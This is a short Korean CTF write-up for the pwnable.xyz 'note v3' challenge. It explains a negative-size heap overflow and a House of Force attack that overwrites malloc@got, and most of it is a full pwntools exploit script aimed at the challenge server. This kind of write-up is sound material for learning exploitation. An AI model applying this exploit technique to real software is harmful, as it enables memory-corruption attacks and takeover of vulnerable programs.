[pwnable.xyz]note v3

한번 코드가 계속 덮이는데 오류떠서 다시 밀고 짜버렸다. 힙을 두개 할당해주는데 처음 청크는 note글자의 사이즈와 title 주소를 써준다.

익스는 쉬웠다. size를 -1로 입력해서 note 글자 사이즈를 0xffffffff으로 만들어줘서 edit에서 0xffffffff만큼 edit할 수 있다. 그래서 topchunk를 덮을 수 있었고 title주소를 bss영역의 note주소로 바꿔서 heap주소를 leak해주고 topchunk 주소를 구할 수 있으므로 house of force 를 이용해서 aaw를 만들 수 있다. 나 같은 경우에는 malloc@got를 덮었다. 이게 처음에 힙을 하나 할당해줘서 offset을 잘 맞춰주면 된다.

exploit.py

from pwn import *

context.log_level = 'debug'
e = ELF('./challenge')
# p = process('challenge')
# libc = e.libc
p = remote('svc.pwnable.xyz',30041)
#libc = ELF('./alpine-libc-2.24.so')
sa = lambda x,y : p.sendafter(x,y)
sla = lambda x,y : p.sendlineafter(x,y)
notes = 0x00000000006012A0
win = e.symbols['win']

def make(size,title,note,m=True):
	sa('>','1')
	sa(':',str(size))
	sa(':',title)
	if m:
		sa(':',note)

def edit(note,data):
	sa('>','2')
	sa(':',str(note))
	sa(':',data)

def _list():
	sa('>','3')

def quit():
	sa('>','0')

make(-1,'A','A',m=False)
make(-1,'B','B',m=False)
edit(1,p64(0)+p64(0x31)+p64(0x42)+p64(0)*4+p64(0xffffffffffffffff))
edit(0,p64(0)+p64(0x31)+p64(0x41)+p64(0)*4+p64(0x21)+p64(0xffffffff)+p64(notes))
_list()
p.recvuntil('\x0a')
heap_base = u64(p.recv(4).ljust(8,'\x00')) - 0x10
log.info('heap_base : {}'.format(hex(heap_base)))
top_chunk = heap_base + 0xa0
log.info('top_chunk : {}'.format(hex(top_chunk)))

hof = (0x0000000000601290 - top_chunk - 0x10 - 0x8 - 80) & 0xffffffffffffffff
print hex(hof)

make(hof,p64(win),p64(win),m=False)

sa('>','1')
sa(':','1')

p.interactive()


Reference

https://www.lazenca.net/display/TEC/The+House+of+Force